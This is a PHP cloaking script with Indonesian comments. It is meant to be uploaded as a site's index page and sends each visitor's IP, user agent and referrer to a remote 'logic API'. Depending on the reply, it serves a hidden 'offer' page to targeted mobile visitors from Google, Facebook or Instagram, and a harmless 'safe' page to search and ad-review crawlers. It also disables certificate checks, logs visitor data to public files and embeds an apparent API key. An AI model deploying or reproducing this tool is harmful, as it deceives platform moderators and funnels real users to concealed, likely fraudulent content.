<?php
/**
 * ================= CLOAKING CLIENT SCRIPT =================
 * Script ini akan kirim data visitor ke logic API,
 * lalu nampilin offer / safe page berdasarkan respon API.
 *
 * Cara Instalasi:
 * 1. Pastikan API aktif dan tidak limit/expired
 * 2. Upload file ini ke domain lo, misal: public_html/index.php
 * 3. Pastikan server support PHP 7.3+ dan cURL aktif.
 * 4. Edit konfigurasi di bawah sesuai kebutuhan lo (domain, negara, platform, dll).
 * 5. Done! Bisa langsung dipasang ke domain offer lo.
 */
// ================= API KEY ================= //
// Ganti dengan API key yang sudah diberikan oleh sistem API kamu
$api_key = "34503038821e1e8a156f84bd3b32972a"; // GANTI dengan API key nya

// ================= CONFIGURATION ================= //

// Target negara yang diizinkan untuk lihat offer
$target_country = ["Indonesia"]; // Misal: ["Indonesia", "Malaysia", "Thailand"]

// Platform target di mana offer ini dipromosikan (digunakan untuk cocokkan referrer)
$platform_target = ["google", "facebook", "instagram"]; // Misal: ["google", "facebook", "instagram"]

// Daftar user-agent yang dianggap bot (crawler atau scrapers)
$bot_agents = ["googlebot", "bingbot", "slurp", "duckduckbot", "baiduspider", "yandex", "sogou", "exabot", "facebookexternalhit", "facebot", "ia_archiver", "twitterbot", "linkedinbot"];

// Daftar user-agent yang dianggap human (browser nyata)
$human_agents = ["android", "iphone"];

// jika domain di index setkan menjadi true
$google_index = "true";

// Tipe tampilan: pakai iframe atau tidak
$iframe = "false";

//jika redirect true maka akakan redirect ke domain sesuai aturan
$redirect = "false";

// Title & description buat iframe
$title_iframe = "title";
$description_iframe = "title";

// Domain offer (untuk visitor yang lolos filtering)
$offer_domain = "https://dev.artikelspiner.id/temp/riaueditor/";

// Domain safe (untuk visitor yang tidak lolos filtering)
$safe_domain = "https://www.riaueditor.com/ori.php";


// ================= CEK FULL URL ================= //
$protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? "https" : "http";
$host = $_SERVER['HTTP_HOST'];
$request_uri = $_SERVER['REQUEST_URI'];
$link = $protocol . "://" . $host . $request_uri;
$host = $link;

// ================= CEK PHP & CURL ================= //
if (version_compare(PHP_VERSION, '7.3.0', '<')) {
    http_response_code(500);
    exit("PHP minimal versi 7.3 dibutuhkan.");
}
if (!function_exists('curl_version')) {
    http_response_code(500);
    exit("CURL belum aktif. Aktifkan dulu di server.");
}

// ================= VISITOR DATA ================= //
$visitor_ip  = $_SERVER['REMOTE_ADDR'] ?? '';
$user_agent  = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');
$referrer    = strtolower($_SERVER['HTTP_REFERER'] ?? '');

// ================= API CALL FUNCTION ================= //
function api_request($url, $data = []) {
    // Menyimpan raw POST data untuk debugging
    file_put_contents('raw_post_data.json', json_encode($data, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES));

    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT'] ?? 'Custom-Agent/1.0');
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
    curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/x-www-form-urlencoded']);

    $response = curl_exec($ch);
    $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);

    if (curl_errno($ch)) {
        $error_msg = curl_error($ch);
        curl_close($ch);

        header('Content-Type: application/json');
        http_response_code(500);
        echo json_encode([
            'status' => 'error',
            'message' => 'CURL Error: ' . $error_msg
        ]);
        exit;
    }

    curl_close($ch);

    $decoded = json_decode($response, true);

    if (!$decoded) {
        header('Content-Type: application/json');
        http_response_code(500);
        echo json_encode([
            'status' => 'error',
            'message' => 'Invalid response from API or not JSON'
        ]);
        exit;
    }

    // Hapus 'content' sebelum disimpan ke file log
    $log_data = $decoded;
    unset($log_data['content']);

    $file = 'api_raw_response.json';
    $existing_data = file_exists($file) ? json_decode(file_get_contents($file), true) : [];
    if (!is_array($existing_data)) $existing_data = [];
    $existing_data[] = $log_data;
    file_put_contents($file, json_encode($existing_data, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES));

    if ($httpcode !== 200) {
        header('Content-Type: application/json');
        http_response_code($httpcode);
        echo json_encode([
            'status' => 'error',
            'message' => $decoded['message'] ?? "HTTP Error ($httpcode)"
        ]);
        exit;
    }

    return $decoded;
}



// ================= CALL TO LOGIC API ================= //
$logic_url = "https://www.artikelspiner.id/api/logic/";
$logic_response = api_request($logic_url, [
    'host'                   => $host,
    'ip'                   => $visitor_ip,
    'user_agent'           => $user_agent,
    'referrer'             => $referrer,
    'target_country'       => $target_country,
    'platform_target'      => $platform_target,
    'bot_agents'           => $bot_agents,
    'human_agents'         => $human_agents,
    'iframe'               => $iframe,
    'google_index'         => $google_index,
    'title_iframe'         => $title_iframe,
    'description_iframe'   => $description_iframe,
    'offer_domain'         => $offer_domain,
    'safe_domain'          => $safe_domain,
    'redirect'             => $redirect,
    'api_key'              => $api_key,
]);

// ================= FINAL OUTPUT ================= //
if (!$logic_response || !isset($logic_response['status'])) {
    http_response_code(502);
    exit("Gagal mengambil data dari server. Silakan coba lagi nanti.");
}

if ($logic_response['status'] === 'error') {
    http_response_code(403);
    exit($logic_response['message']);
}

echo $logic_response['content'];
?>